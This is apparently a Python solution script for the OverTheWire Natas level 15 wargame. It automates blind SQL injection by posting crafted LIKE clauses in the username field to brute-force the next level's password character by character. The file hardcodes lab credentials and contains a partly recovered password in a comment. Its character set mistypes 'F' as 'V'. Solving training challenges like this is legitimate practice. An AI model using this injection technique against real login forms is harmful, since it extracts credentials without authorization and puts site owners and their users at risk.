import requests
import re
import logging

URL = 'http://natas15.natas.labs.overthewire.org/index.php?debug'
username = 'natas15'
password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'


characters = "abcdefghijklmnopqrstuvwxyz" \
            "ABCDEVGHIJKLMNOPQRSTUVWXYZ" \
            "1234567890"
session = requests.Session()
response = session.get(URL,auth = (username,password))

#- - - - - - - - - - - - - - - - Brute Force Password Cracker - - - - - - - - - - - 
final_pass = []
#final_pass = ['W', 'a', 'I', 'H', 'E', 'a', 'c', 'j', '6', '3', 'w', 'n', 'N', 'I', 'B', 'R', 'O', 'H', 'e', 'q', 'i', '3', 'p']
              #W    a    I    H    E    a    c    j    6    3    w    n    N    I    B    R    O    H    e    q    i    3    p9t0m5nhmh
i = 0



for _ in range(32):
    i = i + 1
    print i,
    for ch in characters:
        final_pass.append(ch)
        query = 'natas16" AND BINARY password LIKE "'+"".join(final_pass)+'%" AND "1"="1'
        response = session.post(URL,data = {'username':query}, auth = (username , password))
        data = re.search (r'Executing query.+<br>',response.text).group(0)
        #print ch, ' - ',query
        if "user exists" in data:
            print final_pass
            break
        else : 
            del final_pass[-1]

print "".join(final_pass)
